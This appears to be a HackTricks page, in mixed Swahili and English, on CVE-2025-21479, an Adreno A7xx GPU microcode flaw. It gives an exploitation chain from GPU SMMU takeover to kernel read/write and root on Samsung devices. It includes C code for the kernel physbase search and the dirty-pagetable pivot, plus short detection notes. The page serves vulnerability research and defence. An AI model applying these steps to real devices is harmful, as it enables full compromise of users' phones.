Adreno A7xx SDS->RB privilege bypass (GPU SMMU takeover to Kernel R/W)
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Ukurasa huu unafupisha bugi ya mantiki ya microcode ya Adreno A7xx iliyopatikana kwa wingi (CVE-2025-21479) kuwa mbinu za utumiaji zinazoweza kurudiwa: abusing IB-level masking in Set Draw State (SDS) to execute privileged GPU packets from an unprivileged app, pivoting to GPU SMMU takeover and then to a fast, stable kernel R/W via a dirty-pagetable trick.
- Yaliyoathiriwa: Qualcomm Adreno A7xx GPU firmware kabla ya microcode fix iliyobadilisha masking ya register $12 kutoka 0x3 hadi 0x7.
- Primitive: Execute privileged CP packets (e.g., CP_SMMU_TABLE_UPDATE) from SDS, which is user-controlled.
- Matokeo: R/W ya kumbukumbu ya kernel (physical/virtual) yoyote, SELinux disable, root.
- Masharti ya awali: Uwezo wa kuunda KGSL GPU context na kuwasilisha command buffers zinazopitia SDS (sifa ya kawaida ya app).
Muktadha: IB levels, SDS and the $12 mask
- Kernel inashikilia ringbuffer (RB=IB0). Userspace inwasilisha IB1 kupitia CP_INDIRECT_BUFFER, ukifanya chaining hadi IB2/IB3.
- SDS ni command stream maalum unaoingia kupitia CP_SET_DRAW_STATE:
- A6xx: SDS inachukuliwa kama IB3
- A7xx: SDS ilihamishwa hadi IB4
- Microcode inafuatilia ngazi ya sasa ya IB katika register $12 na inazuia privileged packets ili zichukuliwe tu wakati ngazi yenye athari inalingana na IB0 (kernel RB).
- Bugi: Microcode ya A7xx ilibaki ikimask $12 kwa 0x3 (2 bits) badala ya 0x7 (3 bits). Kwa kuwa IB4 & 0x3 == 0, SDS ilitambulika vibaya kama IB0, ikiruhusu privileged packets kutoka SDS inayodhibitiwa na user.
Why it matters:
A6XX | A7XX
RB & 3 == 0 | RB & 3 == 0
IB1 & 3 == 1 | IB1 & 3 == 1
IB2 & 3 == 2 | IB2 & 3 == 2
IB3 (SDS) & 3 == 3 | IB3 & 3 == 3
| IB4 (SDS) & 3 == 0 <-- misread as IB0 if mask is 0x3
Mfano wa Microcode diff (patch ilibadilisha mask hadi 0x7):
@@ CP_SMMU_TABLE_UPDATE
- and $02, $12, 0x3
+ and $02, $12, 0x7
@@ CP_FIXED_STRIDE_DRAW_TABLE
- and $02, $12, 0x3
+ and $02, $12, 0x7
Muhtasari wa Exploitation
Lengo: Kutoka SDS (iliosomwa vibaya kama IB0) kutoa packaged za CP zenye vyeo ili ku-re-point GPU SMMU kwa page tables zilizotengenezwa na mshambuliaji, kisha tumia GPU copy/write packets kwa R/W ya kimwili kiholela. Mwisho, pivota kwenda R/W ya upande wa CPU ya haraka kupitia dirty pagetable.
High-level chain
- Craft a fake GPU pagetable in shared memory
- Enter SDS and execute:
- CP_SMMU_TABLE_UPDATE -> switch to fake pagetable
- CP_MEM_WRITE / CP_MEM_TO_MEM -> implement write/read primitives
- CP_SET_DRAW_STATE with run-now flags (dispatch immediately)
GPU R/W primitives via fake pagetable
- Write: CP_MEM_WRITE to an attacker-chosen GPU VA whose PTEs you map to a chosen PA -> arbitrary physical write
- Read: CP_MEM_TO_MEM copies 4/8 bytes from target PA to a userspace-shared buffer (batch for larger reads)
Notes
- Each Android process gets a KGSL context (IOCTL_KGSL_GPU_CONTEXT_CREATE). Switching contexts normally updates SMMU tables in the RB; the bug lets you do it in SDS.
- Excessive GPU traffic can cause UI blackouts and reboots; reads are small (4/8B) and sync is slow by default.
Building the SDS command sequence
- Spray a fake GPU pagetable into shared memory so at least one instance lands at a known physical address (e.g., via allocator grooming and repetition).
- Construct an SDS buffer containing, in order:
- CP_SMMU_TABLE_UPDATE to the physical address of the fake pagetable
- One or more CP_MEM_WRITE and/or CP_MEM_TO_MEM packets to implement R/W using your new translations
- CP_SET_DRAW_STATE with flags to run-now
The exact packet encodings vary by firmware; use freedreno’s afuc/packet docs to assemble the words, and ensure the SDS submission path is taken by the driver.
Finding Samsung kernel physbase under physical KASLR
Samsung randomizes the kernel physical base within a known region on Snapdragon devices. Brute-force the expected range and look for the first 16 bytes of _stext.
Representative loop
while (!ctx->kernel.pbase) {
offset += 0x8000;
uint64_t d1 = kernel_physread_u64(ctx, base + offset);
if (d1 != 0xd10203ffd503233f) continue; // first 8 bytes of _stext
uint64_t d2 = kernel_physread_u64(ctx, base + offset + 8);
if (d2 == 0x910083fda9027bfd) { // second 8 bytes of _stext
ctx->kernel.pbase = base + offset - 0x10000;
break;
}
}
Mara physbase inapojulikana, hesabu kernel virtual kwa ramani ya mstari:
_stext = 0xffffffc008000000 + (Kernel Code & ~0xa8000000)
Kubadili kwa R/W ya kernel upande wa CPU, haraka na thabiti (dirty pagetable)
GPU R/W ni polepole na ina azimio ndogo. Pivot kwa primitive haraka/thabiti kwa kuharibu PTEs za mchakato wako mwenyewe (“dirty pagetable”):
Steps
- Locate current task_struct -> mm_struct -> mm_struct->pgd using the slow GPU R/W primitives
- mmap two adjacent userspace pages A and B (e.g., at 0x1000)
- Walk PGD->PMD->PTE to resolve A/B’s PTE physical addresses (helpers: get_pgd_offset, get_pmd_offset, get_pte_offset)
- Overwrite B’s PTE to point to the last-level pagetable managing A/B with RW attributes (phys_to_readwrite_pte)
- Write via B’s VA to mutate A’s PTE to map target PFNs; read/write kernel memory via A’s VA, flushing TLB until a sentinel flips
Mfano wa dirty-pagetable pivot snippet
```c uint64_t *map = mmap((void*)0x1000, PAGE_SIZE*2, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); uint64_t *page_map = (void*)((uint64_t)map + PAGE_SIZE); page_map[0] = 0x4242424242424242;uint64_t tsk = get_curr_task_struct(ctx); uint64_t mm = kernel_vread_u64(ctx, tsk + OFFSETOF_TASK_STRUCT_MM); uint64_t mm_pgd = kernel_vread_u64(ctx, mm + OFFSETOF_MM_PGD);
uint64_t pgd_off = get_pgd_offset((uint64_t)map); uint64_t phys_pmd = kernel_vread_u64(ctx, mm_pgd + pgd_off) & ~((1<<12)-1); uint64_t pmd_off = get_pmd_offset((uint64_t)map); uint64_t phys_pte = kernel_pread_u64(ctx, phys_pmd + pmd_off) & ~((1<<12)-1); uint64_t pte_off = get_pte_offset((uint64_t)map); uint64_t pte_addr = phys_pte + pte_off; uint64_t new_pte = phys_to_readwrite_pte(pte_addr); kernel_write_u64(ctx, pte_addr + 8, new_pte, false); while (page_map[0] == 0x4242424242424242) flush_tlb();
</details>
## Utambuzi
- Telemetry: toa onyo ikiwa CP_SMMU_TABLE_UPDATE (au opcodes za kibali zinazofanana) zinaonekana nje ya RB/IB0, hasa katika SDS; fuatilia milipuko isiyo ya kawaida ya 4/8-byte CP_MEM_TO_MEM na mifumo ya kufuta (flush) ya TLB kupita kiasi
## Athari
App ya ndani yenye ufikiaji wa GPU inaweza kutekeleza privileged GPU packets, kuinyang'anya GPU SMMU, kupata R/W ya kernel kiholela (physical/virtual), kuzima SELinux na kupata root kwenye vifaa vinavyoathiriwa vya Snapdragon A7xx (mfano, Samsung S23). Ukali: Juu (kernel compromise).
### See also
<a class="content_ref" href="pixel-bigwave-bigo-job-timeout-uaf-kernel-write.md"><span class="content_ref_label">Pixel Bigwave Bigo Job Timeout Uaf Kernel Write</span></a>
## References
- [CVE-2025-21479: Adreno A7xx SDS->RB privilege bypass to kernel R/W (Samsung S23)](https://xploitbengineer.github.io/CVE-2025-21479)
- [Mesa freedreno afuc disassembler README (microcode + packets)](https://gitlab.freedesktop.org/mesa/mesa/-/blob/c0f56fc64cad946d5c4fda509ef3056994c183d9/src/freedreno/afuc/README.rst)
- [Google Project Zero: Attacking Qualcomm Adreno GPU (SMMU takeover via CP packets)](https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html)
- [Dirty pagetable (archive)](https://web.archive.org/web/20240425043203/https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html)
> [!TIP]
> Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Jifunze na fanya mazoezi ya Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Support HackTricks</summary>
>
> - Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
> - **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
>
> </details>


